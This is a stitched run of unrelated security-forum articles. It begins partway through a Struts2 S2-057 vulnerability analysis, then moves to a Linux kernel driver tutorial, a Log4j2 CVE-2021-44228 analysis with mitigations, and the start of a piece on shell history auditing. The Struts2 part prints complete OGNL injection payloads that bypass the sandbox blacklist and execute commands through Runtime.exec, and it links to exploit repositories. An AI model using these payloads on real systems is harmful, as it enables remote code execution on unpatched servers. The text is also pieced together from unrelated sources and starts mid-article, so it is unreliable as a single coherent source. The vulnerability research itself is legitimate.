ExcludedClasses`，导致`ExcludedClasses`这些黑名单并没有被清除掉。
但是`OgnlUtil.setExcludedClasses`函数是对`excludedClasses`重新赋给一个新集合，并不是修改，所以我们赋值一个包含关紧要的类的黑名集合，从而达到了绕过。
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet<>();
for (String className : classNames) {
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException e) {
throw new ConfigurationException("Cannot load excluded class: " + className, e);
}
}
excludedClasses = Collections.unmodifiableSet(classes);
}
所以最终exp如下
${(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23ct.setMemberAccess(%23dm)).(%[email protected]@getRuntime().exec("calc"))}
但是第一次执行上面的exp会报500错误，第二次就不会报错了。
`ognl.OgnlRuntime.callAppropriateMethod`中通过`getAppropriateMethod`获取到合适的函数，不为空并且通权限的验证，就使用下面的`invokeMethod`执行`ognl`表达式里面的函数。这里看到`excludedClasses`跟默认设置的一样，前面我们不是使用`setExcludedClasses`设置了一个无关紧要的黑名单了吗？原因是修改的并不是当前`context`，而是修改的是`request['struts.valueStack'].context`，并没有更新到当前`context`，所以需要再执行一遍，将修改后的跟新到当前`context`就好了。
先后执行下面两个exp，就会发现不会报错500。
${(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.'))}
${(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23ct.setMemberAccess(%23dm)).(%[email protected]@getRuntime().exec("calc"))}
## 总结
总结一下防护手段：
1、添加黑名单
2、阉割掉一些属性
3、将属性设置私有或者将集合变成不可修改
总结一下绕过手段：
1、最开始覆盖绕过
`%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties']`
2、对象维度的覆盖
`#_memberAccess=[@ognl](https://github.com/ognl
"@ognl").OgnlContext[@DEFAULT_MEMBER_ACCESS](https://github.com/DEFAULT_MEMBER_ACCESS
"@DEFAULT_MEMBER_ACCESS")`
3、阉割掉一些属性，找替代品（因为为了开发的方便，会有一些替代品的存在）
`#ct=#request['struts.valueStack'].context`
4、将属性设置私有或者将集合变成不可修改，找能够改变的方法
`ou.setExcludedClasses('java.lang.Shutdown')`
## 参考
[OGNL 语言介绍与实践](https://www.ibm.com/developerworks/cn/opensource/os-cn-ognl/index.html "OGNL 语言介绍与实践")
[Ognl表达式基本原理和使用方法](https://www.cnblogs.com/cenyu/p/6233942.html
"Ognl表达式基本原理和使用方法")
[Struts2【OGNL、valueStack】就是这么简单](https://juejin.im/post/5aa536af51882555686860f5
"Struts2【OGNL、valueStack】就是这么简单")
[深入struts2
（一）—-Xwork介绍](https://blog.csdn.net/sxb0841901116/article/details/27358697
"深入struts2 （一）---Xwork介绍")
[OgnlContext源码分析](https://blog.csdn.net/q291611265/article/details/47302225
"OgnlContext源码分析")
[Struts2漏洞分析与研究之Ognl机制探讨](https://blog.csdn.net/u011721501/article/details/41610157
"Struts2漏洞分析与研究之Ognl机制探讨")
[【Struts2-代码执行漏洞分析系列】S2-057](https://xz.aliyun.com/t/2618
"【Struts2-代码执行漏洞分析系列】S2-057")
### 下载
<https://archive.apache.org/dist/struts/>
### exp
<https://github.com/Fnzer0/S2-057-poc>
<https://github.com/Ivan1ee/struts2-057-exp> | 社区文章 |
**Author: Hcamael@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/779/>**
Recently, when I was studying IoT, due to the lack of devices, simulating
running firmware would often be short of `/dev/xxx`, so I began to wonder if I
could write a driver myself to make the firmware run. No matter how hard it is
and whether it can achieve my original intention or not, it pays off a lot if
you learn how to develop Linux driver.
### Introduction
The series I wrote is mainly about practice, which doesn't talk much about
theory. I learn how to develop the driver from the book _Linux Device Drivers_
, and there is the code for the examples explained in this book on the GitHub
[[1]](https://github.com/jesstess/ldd4 "\[1\]").
As for the basic concept, Linux system is divided into kernel mode and user
mode. The hardware device can only be accessed in the kernel mode, and the
driver can be regarded as an API provided in the kernel mode to let the code
of the user mode access the hardware device.
With the basic concepts in mind, I have come up with a series of problems,
which inspire me to learn the development of driver.
1. All code learning starts with Hello World, so how to write a Hello World program?
2. How does the driver generate device files under /dev?
3. How does the driver access the actual hardware?
4. How do I get system-driven code? Or can it reverse the driver without code? Where are the binaries that store the drivers? In the future, there may be opportunities to try to study the drive security.
### Everything Starts from Hello World
My Hello World code is as follows
[[2]](https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c
"\[2\]"):
#include <linux/init.h>
#include <linux/module.h>
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamal");
int hello_init(void)
{
printk(KERN_INFO "Hello World\n");
return 0;
}
void hello_exit(void)
{
printk(KERN_INFO "Goodbye World\n");
}
module_init(hello_init);
module_exit(hello_exit);
The Linux driver is developed by means of C Language, which is different form
the normal one we use. What we often use is Libc library, which doesn’t exist
in the kernel. While the driver is a program running in the kernel, we use the
library functions in the kernel.
For example, `printk` is analogous to `printf` in Libc, an output function
defined in the kernel. But I think it's more like the logger function in
Python, because the output of `printk` is printed in the kernel's log, which
can be viewed via `dmesg` command.
There is only one entry point and one exit point in the driver code. Loading
the driver into the kernel will execute the function defined by the
`module_init` function, which in the above code is the `hello_init` function.
When the driver is unloaded from the kernel, the function defined by the
`module_exit` function is called, which in the above code is the `hello_exit`
function.
The code above makes it clear that when the driver is loaded, it prints `Hello
World` and when the driver is unloaded, it prints `Goodbye World`.
PS: `MODULE_LICENSE` and `MODULE_AUTHOR` are not very important. I'm not a
professional development driver, so needn’t pay attention to them.
PSS: There should add a newline for the output of `printk`, otherwise the
buffer will not be flushed.
#### Compile the Driver
The driver needs to be compiled by the make command, and the `Makefile` is
shown below:
ifneq ($(KERNELRELEASE),)
obj-m := hello.o
else
KERN_DIR ?= /usr/src/linux-headers-$(shell uname -r)/
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERN_DIR) M=$(PWD) modules
endif
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
In general, the source code of the kernel exists in the `/usr/src/linux-headers-$(shell uname -r)/` directory, such as:
$ uname -r
4.4.0-135-generic
/usr/src/linux-headers-4.4.0-135/ --> 该内核源码目录
/usr/src/linux-headers-4.4.0-135-generic/ --> 该内核编译好的源码目录
And what we need is the compiled source directory, which is `/usr/src/linux-headers-4.4.0-135-generic/`.
The header files of the driver code need to be searched from this directory.
The parameter `M=$(PWD)` indicates that the output of the driver compilation
is in the current directory.
Finally, through the command `obj-m := hello.o`, which means to compile
`hello.o` into `hello.ko`, and the ko file is the kernel module file.
#### Load the Driver into the Kernel
Some system commands that need to be used:
`Lsmod`: View the kernel module that is currently loaded.
`Insmod`: Loads the kernel module and requires root permissions.
`Rmmod`: Remove the module.
For example:
# insmod hello.ko // Load the hello.ko module into the kernel
# rmmod hello // Remove the hello module from the kernel
The old kernel is using the above method to load and remove the kernel, but
the new version of the Linux kernel adds verification of the module. The
current actual situation is as follows:
# insmod hello.ko
insmod: ERROR: could not insert module hello.ko: Required key not available
From a security perspective, the current kernel assumes that the module is
untrustworthy and needs to be signed with a trusted certificate to load the
module.
Two solutions:
1. Enter the BIOS and turn off the Secure Boot of UEFI.
2. Add a self-signed certificate to the kernel and use it to sign the driver module (You can refer to [[3]](https://jin-yang.github.io/post/kernel-modules.html "\[3\]")).
#### View the Results
### Add Device Files under /dev
Once again, we firstly provide the code, and then explain the example code
[[4]](https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c
"\[4\]").
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h> /* printk() */
#include <linux/slab.h> /* kmalloc() */
#include <linux/fs.h> /* everything... */
#include <linux/errno.h> /* error codes */
#include <linux/types.h> /* size_t */
#include <linux/fcntl.h> /* O_ACCMODE */
#include <linux/cdev.h>
#include <asm/uaccess.h> /* copy_*_user */
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Hcamael");
int scull_major = 0;
int scull_minor = 0;
int scull_nr_devs = 4;
int scull_quantum = 4000;
int scull_qset = 1000;
struct scull_qset {
void **data;
struct scull_qset *next;
};
struct scull_dev {
struct scull_qset *data; /* Pointer to first quantum set. */
int quantum; /* The current quantum size. */
int qset; /* The current array size. */
unsigned long size; /* Amount of data stored here. */
unsigned int access_key; /* Used by sculluid and scullpriv. */
struct mutex mutex; /* Mutual exclusion semaphore. */
struct cdev cdev; /* Char device structure. */
};
struct scull_dev *scull_devices; /* allocated in scull_init_module */
/*
* Follow the list.
*/
struct scull_qset *scull_follow(struct scull_dev *dev, int n)
{
struct scull_qset *qs = dev->data;
/* Allocate the first qset explicitly if need be. */
if (! qs) {
qs = dev->data = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs == NULL)
return NULL;
memset(qs, 0, sizeof(struct scull_qset));
}
/* Then follow the list. */
while (n--) {
if (!qs->next) {
qs->next = kmalloc(sizeof(struct scull_qset), GFP_KERNEL);
if (qs->next == NULL)
return NULL;
memset(qs->next, 0, sizeof(struct scull_qset));
}
qs = qs->next;
continue;
}
return qs;
}
/*
* Data management: read and write.
*/
ssize_t scull_read(struct file *filp, char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr; /* the first listitem */
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset; /* how many bytes in the listitem */
int item, s_pos, q_pos, rest;
ssize_t retval = 0;
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
if (*f_pos >= dev->size)
goto out;
if (*f_pos + count > dev->size)
count = dev->size - *f_pos;
/* Find listitem, qset index, and offset in the quantum */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum; q_pos = rest % quantum;
/* follow the list up to the right position (defined elsewhere) */
dptr = scull_follow(dev, item);
if (dptr == NULL || !dptr->data || ! dptr->data[s_pos])
goto out; /* don't fill holes */
/* read only up to the end of this quantum */
if (count > quantum - q_pos)
count = quantum - q_pos;
if (raw_copy_to_user(buf, dptr->data[s_pos] + q_pos, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;
out:
mutex_unlock(&dev->mutex);
return retval;
}
ssize_t scull_write(struct file *filp, const char __user *buf, size_t count,
loff_t *f_pos)
{
struct scull_dev *dev = filp->private_data;
struct scull_qset *dptr;
int quantum = dev->quantum, qset = dev->qset;
int itemsize = quantum * qset;
int item, s_pos, q_pos, rest;
ssize_t retval = -ENOMEM; /* Value used in "goto out" statements. */
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
/* Find the list item, qset index, and offset in the quantum. */
item = (long)*f_pos / itemsize;
rest = (long)*f_pos % itemsize;
s_pos = rest / quantum;
q_pos = rest % quantum;
/* Follow the list up to the right position. */
dptr = scull_follow(dev, item);
if (dptr == NULL)
goto out;
if (!dptr->data) {
dptr->data = kmalloc(qset * sizeof(char *), GFP_KERNEL);
if (!dptr->data)
goto out;
memset(dptr->data, 0, qset * sizeof(char *));
}
if (!dptr->data[s_pos]) {
dptr->data[s_pos] = kmalloc(quantum, GFP_KERNEL);
if (!dptr->data[s_pos])
goto out;
}
/* Write only up to the end of this quantum. */
if (count > quantum - q_pos)
count = quantum - q_pos;
if (raw_copy_from_user(dptr->data[s_pos]+q_pos, buf, count)) {
retval = -EFAULT;
goto out;
}
*f_pos += count;
retval = count;
/* Update the size. */
if (dev->size < *f_pos)
dev->size = *f_pos;
out:
mutex_unlock(&dev->mutex);
return retval;
}
/* Beginning of the scull device implementation. */
/*
* Empty out the scull device; must be called with the device
* mutex held.
*/
int scull_trim(struct scull_dev *dev)
{
struct scull_qset *next, *dptr;
int qset = dev->qset; /* "dev" is not-null */
int i;
for (dptr = dev->data; dptr; dptr = next) { /* all the list items */
if (dptr->data) {
for (i = 0; i < qset; i++)
kfree(dptr->data[i]);
kfree(dptr->data);
dptr->data = NULL;
}
next = dptr->next;
kfree(dptr);
}
dev->size = 0;
dev->quantum = scull_quantum;
dev->qset = scull_qset;
dev->data = NULL;
return 0;
}
int scull_release(struct inode *inode, struct file *filp)
{
printk(KERN_DEBUG "process %i (%s) success release minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}
/*
* Open and close
*/
int scull_open(struct inode *inode, struct file *filp)
{
struct scull_dev *dev; /* device information */
dev = container_of(inode->i_cdev, struct scull_dev, cdev);
filp->private_data = dev; /* for other methods */
/* If the device was opened write-only, trim it to a length of 0. */
if ( (filp->f_flags & O_ACCMODE) == O_WRONLY) {
if (mutex_lock_interruptible(&dev->mutex))
return -ERESTARTSYS;
scull_trim(dev); /* Ignore errors. */
mutex_unlock(&dev->mutex);
}
printk(KERN_DEBUG "process %i (%s) success open minor(%u) file\n", current->pid, current->comm, iminor(inode));
return 0;
}
/*
* The "extended" operations -- only seek.
*/
loff_t scull_llseek(struct file *filp, loff_t off, int whence)
{
struct scull_dev *dev = filp->private_data;
loff_t newpos;
switch(whence) {
case 0: /* SEEK_SET */
newpos = off;
break;
case 1: /* SEEK_CUR */
newpos = filp->f_pos + off;
break;
case 2: /* SEEK_END */
newpos = dev->size + off;
break;
default: /* can't happen */
return -EINVAL;
}
if (newpos < 0)
return -EINVAL;
filp->f_pos = newpos;
return newpos;
}
struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
// .unlocked_ioctl = scull_ioctl,
.open = scull_open,
.release = scull_release,
};
/*
* Set up the char_dev structure for this device.
*/
static void scull_setup_cdev(struct scull_dev *dev, int index)
{
int err, devno = MKDEV(scull_major, scull_minor + index);
cdev_init(&dev->cdev, &scull_fops);
dev->cdev.owner = THIS_MODULE;
dev->cdev.ops = &scull_fops;
err = cdev_add (&dev->cdev, devno, 1);
/* Fail gracefully if need be. */
if (err)
printk(KERN_NOTICE "Error %d adding scull%d", err, index);
else
printk(KERN_INFO "scull: %d add success\n", index);
}
void scull_cleanup_module(void)
{
int i;
dev_t devno = MKDEV(scull_major, scull_minor);
/* Get rid of our char dev entries. */
if (scull_devices) {
for (i = 0; i < scull_nr_devs; i++) {
scull_trim(scull_devices + i);
cdev_del(&scull_devices[i].cdev);
}
kfree(scull_devices);
}
/* cleanup_module is never called if registering failed. */
unregister_chrdev_region(devno, scull_nr_devs);
printk(KERN_INFO "scull: cleanup success\n");
}
int scull_init_module(void)
{
int result, i;
dev_t dev = 0;
/*
* Get a range of minor numbers to work with, asking for a dynamic major
* unless directed otherwise at load time.
*/
if (scull_major) {
dev = MKDEV(scull_major, scull_minor);
result = register_chrdev_region(dev, scull_nr_devs, "scull");
} else {
result = alloc_chrdev_region(&dev, scull_minor, scull_nr_devs, "scull");
scull_major = MAJOR(dev);
}
if (result < 0) {
printk(KERN_WARNING "scull: can't get major %d\n", scull_major);
return result;
} else {
printk(KERN_INFO "scull: get major %d success\n", scull_major);
}
/*
* Allocate the devices. This must be dynamic as the device number can
* be specified at load time.
*/
scull_devices = kmalloc(scull_nr_devs * sizeof(struct scull_dev), GFP_KERNEL);
if (!scull_devices) {
result = -ENOMEM;
goto fail;
}
memset(scull_devices, 0, scull_nr_devs * sizeof(struct scull_dev));
/* Initialize each device. */
for (i = 0; i < scull_nr_devs; i++) {
scull_devices[i].quantum = scull_quantum;
scull_devices[i].qset = scull_qset;
mutex_init(&scull_devices[i].mutex);
scull_setup_cdev(&scull_devices[i], i);
}
return 0; /* succeed */
fail:
scull_cleanup_module();
return result;
}
module_init(scull_init_module);
module_exit(scull_cleanup_module);
#### Knowledge Point 1 -- Classification of Drivers
Drivers are divided into three categories: character devices, block devices
and network interface. The above code is an example of character devices, and
the other two will be discussed later.
As shown above, `brw-rw--` \-- the permission bar, block devices starts with
"b" and the character devices starting with "c".
#### Knowledge Point 2 -- The Major and Minor Numbers
The major number is used to distinguish the driver. In general, the same major
number indicates that it is controlled by the same driver.
Multiple devices can be created in one drive, distinguished by minor numbers.
The major and minor numbers determine a driver device together (as shown
above).
brw-rw---- 1 root disk 8, 0 Dec 17 13:02 sda
brw-rw---- 1 root disk 8, 1 Dec 17 13:02 sda1
The major number of equipment `sda` and `sda1` is 8, and one minor number is 0
and the other minor number is 1.
#### Knowledge Point 3 -- How the Driver Provides the API
In my mind, the interface provided by the driver is `/dev/xxx`, and under
Linux, "everything is about file", so the operation of the driver device is
actually the operation of the file and the driver is used to
define/open/read/write...what `/dev/xxx` will happen. The API of driver you
can think is all about file operations.
What file operations are there? They are all defined in the `file_operations`
structure of the kernel
`<linux/fs.h>`[[5]](https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h
"\[5\]") header file.
In the code I illustrated above:
struct file_operations scull_fops = {
.owner = THIS_MODULE,
.llseek = scull_llseek,
.read = scull_read,
.write = scull_write,
.open = scull_open,
.release = scull_release,
};
I declare a structure and assign it. Except for the `owner`, the values of
other members are function pointers.
Then I used `cdev_add` to register the file operation structure with each
driver in the `scull_setup_cdev` function.
For example, if I perform "open" operation on the driver device, I will
execute the `scull_open` function, which is equivalent to "hooking" the `open`
function in the system call.
#### Knowledge Point 4 -- Generate the Corresponding Device under /dev
Compile the above code, get `scull.ko`, then sign it, and finally load it into
the kernel via `insmod`.
Check if it is loaded successfully:
Although the driver has been loaded successfully, it does not create a device
file in the /dev directory. We need to manually use `mknod` for device
linking:
### Summary
In this example, there is no operation on the actual physical device, just
simply use `kmalloc` to apply for a block of memory in the kernel space.
No more details about the code, which can be found by looking up the header
files or Google.
Here I would like to share my way of learning the development of drivers: read
books to understand the basic concept firstly, and then look up for the
details when you need to use them.
For example, I don't need to know what API the driver can provide, and all I
need to know is that the API provided by the drivers is all about file
operations. As for the file operations, currently I only need to `open`,
`close`, `read` and `write`. I will look up for more file operations when
necessary.
### Reference
1. <https://github.com/jesstess/ldd4>
2. <https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/hello.c>
3. <https://jin-yang.github.io/post/kernel-modules.html>
4. <https://raw.githubusercontent.com/Hcamael/Linux_Driver_Study/master/scull.c>
5. <https://raw.githubusercontent.com/torvalds/linux/master/include/linux/fs.h>
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
**作者：启明星辰 ADLab
原文链接：<https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg>**
漏洞编号：CVE-2021-44228
CNVD编号：CNVD-2021-95919
发布时间：2021年12月12日
# **_漏洞概述_**
Apache log4j2是一款Apache软件基金会的开源基础框架,用于 Java
日志记录的工具。日志记录主要用来监视代码中变量的变化情况，周期性地记录到文件中供其他应用进行统计分析工作；跟踪代码运行时轨迹，作为日后审计的依据；担当集成开发环境中的调试器的作用，向文件或控制台打印代码的调试信息。其在JAVA生态环境中应用极其广泛,影响巨大。
近日, Apache Log4j2
被曝存在JNDI远程代码执行漏洞，该漏洞一旦被攻击者利用会造成严重危害。该漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。
# **_漏洞时间轴_**
2014年7月13日：Apache Log4j2官方发布log4j-2.0此时该漏洞已经存在，距今7年之久；
2021年11月24日：阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞（CVE-2021-44228）；
2021年12月8日：Apache Log4j2官方发布log4j2-2.15.0-rc1并第一次修复CVE-2021-44228漏洞；
2021年12月9日：启明星辰ADLab监测到Apache Log4j2官方公告并开展验证；
2021年12月10日：启明星辰ADLab确认漏洞存在，成功复现该漏洞并通报主管单位；
2021年12月10日：启明星辰ADLab研究确认log4j2-2.15.0-rc1存在Bypass的漏洞；
2021年12月10日：Apache Log4j2官方发布log4j2-2.15.0-rc2修复bypass漏洞。
# **_影响版本_**
Apache Log4j 2.x < =2.15.0-rc1
# **_漏洞详情_**
漏洞触发的调用链如下：
在进行Logger.log()日志记录时会采用logIfEnabled()方法进行判断，返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。
在本次漏洞分析过程中日志等级为Level.FATAL，它的intLevel()为100，而本环境中默认的日志级别为ERROR（200），如下图所示：
此时filter方法返回true，成功进入到logMessage的方法中。这里当Level等级优先级高于或等于ERROR（200）时（等级越高数值越低）才能触发漏洞；如WARN、INFO、DEBUG、ALL优先级低于ERROR（200），则无法触发该漏洞。也就是说，漏洞能否成功触发与设置的日志Level有关。
然后，来到org.apache.logging.log4j.core.pattern.MessagePatternConverter的format()这个关键方法中，首先要判断noLookups这个变量的值，noLookups默认为false，意思为开启JNDI格式化功能。如下图所示：
我们根据之前的分析已经知道了noLookups这个变量的值为false的，!false的值为真，那么就进入到for循环里继续对log的message
event进行处理，取出${}中的数据进行后续lookup()操作。
org.apache.logging.log4j.core.lookup.Interpolator的lookup()方法包含多种处理event的途径，根据event的prefix选择相应的StrLookup进行处理。包括jndi、date、Java、main等。
当构造的event的prefix为jndi时，则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理，从而触发JNDI漏洞利用。
# **_几点疑问的解答_**
**1.Log4j 1.x版本是否存在该漏洞**
Log4j 1.x的最高版本为1.2.17，以下将1.x表示为小于等于1.2.17的所有版本。由于Log4j
1.x的代码和Log4j2相差比较大，没有Log4j2相对应的功能，所以Log4j 1.x版本不存在CVE-2021-44228漏洞。
通过深入分析源码后发现，如果我们能够控制配置文件log4j.properties中的内容，也可以达到JNDI注入的效果。示例如下：
成功利用如下图所示:
**2.只要用了Log4j2就会有漏洞吗**
有两个限制条件，第一个限制条件是：默认情况下，代码中日志等级的优先级高于或等于默认级别（ERROR（200），数值越低优先级越高）才可以成功，所以OFF、FATAL、ERROR均可被利用。如下图所示：
但若是项目中采用配置文件的形式自定义日志级别，以Apache Struts2 为例，
Apache Struts2 默认日志级别为：info。如下图所示：
通过调试Struts2 Showcase，部署后获取到的初始日志级别为：info(400)。
当我们日志等级优先级高于或等于info(400)时，WARN、ERROR、FATAL、OFF、INFO这几个级别的日志都可能被利用，Apache
Struts2存在漏洞的位置如下图所示。
第二个限制条件是：必须能够控制日志内容。测试代码如下：logger.log(Level.ERROR,"xxx")；只有当log方法的第二个参数xxx的内容被污染的情况下才能被成功利用。
**3.用了高版本JDK，漏洞就免疫了吗**
看了一些大家对这个漏洞的讨论,很多人以为JDK版本高了就免疫了,某个网友评论如下图所示:
在某些特定情况下，比如中间件用的Tomcat、Websphere,又比如存在反序列化漏洞的依赖包,攻击者同样可以绕过高版本JDK的限制达到RCE的目的。虽然高版本JDK对这个漏洞的防御不是那么完美，但仍强烈建议选用高版本的JDK，至少能提高黑客入侵的门槛。
**4.Log4j2 2.15.0-rc1补丁安全吗**
默认配置是安全的,因为默认已经不会通过lookup来处理日志内容，但如果配置文件由于配置不当，仍然有被利用的可能。比如以下配置即存在风险：
**5.Log4j2 2.15.0-rc2补丁安全吗**
rc1被绕过了，rc2是不是也能被绕过？结论是目前是安全的，因为rc2有诸多限制，如协议、白名单HOST、LDAP
Attributes限制等多个限制，其中白名单HOST限制如下所示：
**6.单一WAF防御策略可行吗**
有些人觉得补漏洞太麻烦了，而且升级最新版本不兼容，更换版本后错误百出，不如用WAF来防御，阻断ldap、jndi这些关键字。目前针对绕过WAF的方法已经有很多种了，仅使用WAF拦截肯定会出现问题。
**7.加固了,为何仍存在漏洞**
我们看到早期文章加固方案基本按照下面这样写的：
（1）jvm参数 -Dlog4j2.formatMsgNoLookups=true
（2）在应用程序的classpath下添加log4j2.component.properties配置文件文件，文件内容：log4j2.formatMsgNoLookups=True
（3）设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
很多人按照这个方案去加固，最后看到的结果是漏洞依然存在。这里有两点需要注意：
（1）这三个修复方案在2.10以下均处于失效状态。如果你用的2.10以下的版本，这样来加固肯定是不可以的。
（2）2.10版本以上，为什么也不成功。原因是设置环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true并不会关闭lookup，而正确的修复方案是将LOG4J_FORMAT_MSG_NO_LOOKUPS设置为true。下面从代码层面详细分析为什么会这样。
通过跟踪代码发现，在初始化LogManager的Context环境时，会将系统环境变量加入到Log4j自己的属性环境中。当系统环境变量的key值前缀为“LOG4J_”时，自动截取“LOG4J_”之后的部分进行Util.tokenize(key)处理后加入到Environment的tokenized中。
Util.tokenize()方法对参数key进行正则匹配处理，然后返回处理后的List结果。正则匹配的规则为：
private static final Pattern PROPERTY_TOKENIZER =
Pattern.compile("(?i:^log4j2?[-.
_/]?|^org\\.apache\\.logging\\.log4j\\.)?([A-Z]*[a-z0-9]+|[A-Z0-9]+)[-._
/]?");
那么，如何设置key值才能成功让PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups",
false);返回值为true呢？
跟踪代码发现，getBooleanProperty()获取属性也是通过查找PropertiesUtil.Environment中的normalized、literal和tokenized是否存在该属性判断的。而通过tokenized查找时，Util.tokenize(key)处理后的值作为key值然后在tokenized中进行匹配。
我们再来看系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS，去掉前缀LOG4J_后经Util.tokenize()处理后的结果如下图所示：
因此成功将Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS =
PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups",
false);的结果设置为true，进而达到防御效果。
这里的系统环境变量设置为LOG4J_FORMAT_MSG_NO_LOOKUPS=true
其实只要满足正则匹配规则就可以，例如：
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
LOG4J_log4j2_formatMsgNoLookups=true
LOG4J_formatMsgNoLookups=true
总结一下这三种方案只适用于
>=2.10版本，2.10以下的版本无效。FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS不符合正则规则所以无效，而环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS匹配成功，可以成功关闭lookup。
# **_总结：_**
总的来说这个漏洞影响面极广，同时利用难度很低，目前启明星辰ADLab确认受该漏洞影响的产品应用有：Ghidra、Apache
James、VMware多应用、Apache Solr、Apache Druid、Apache Flink、Apache
Struts2、Dubbo。其它存在该漏洞的系统或应用也会逐渐浮出水面。
注意：其中很多应用的利用代码已经被公布出来，希望引起大家足够重视。
# **_最终方案：_**
1.升级最新版本，目前最新版本为log4j-2.16.0，相比log4j-2.15.0修复了其它安全问题，在业务许可的情况下建议升级log4j-2.16.0-rc1。
2\. 弃用log4j 1.x版本，因为漏洞太多，并且无法更新升级。
**_临时方案：_**
1.对于Log4j 1.x版本
移除JMSAppender.class文件，命令为：
zip -q -d log4j-1.x.jar
org/apache/log4j/net/JMSAppender.class（使用该方案时需经过测试，避免对实际业务产生影响）
2.对于log4j2 >=2.10的版本(以下三种方案任选其一)：
1)添加log4j2.component.properties配置文件，增加如下内容为：
log4j2.formatMsgNoLookups=true
2)设置 jvm 参数: -Dlog4j2.formatMsgNoLookups=true
3)设置系统环境变量：LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3.对于log4j2 <2.10的版本：
可以通过移除JndiLookup类的方式，命令为：
zip -q -d log4j-core-2.x.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class
# **_参考链接_**
https://www.cnvd.org.cn/webinfo/show/7116
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.16.0-rc1
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
* * * | 社区文章 |
# 【技术分享】Linux安全运维：谁动了我的主机? 之活用History命令
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章是悬镜安全实验室运维小伙们写的一篇文章，适合初中级运维人员阅读。作者结合自己多年丰富的工作实战经验，以简单、通俗易懂方式讲述了如何活用history命令。
Linux系统下可通过history命令查看用户所有的历史操作记录，在安全应急响应中起着非常重要的作用，但在未进行附加配置情况下，history命令只能查看用户历史操作记录，并不能区分用户以及操作时间，不便于审计分析。
当然，一些不好的操作习惯也可能通过命令历史泄露敏感信息。
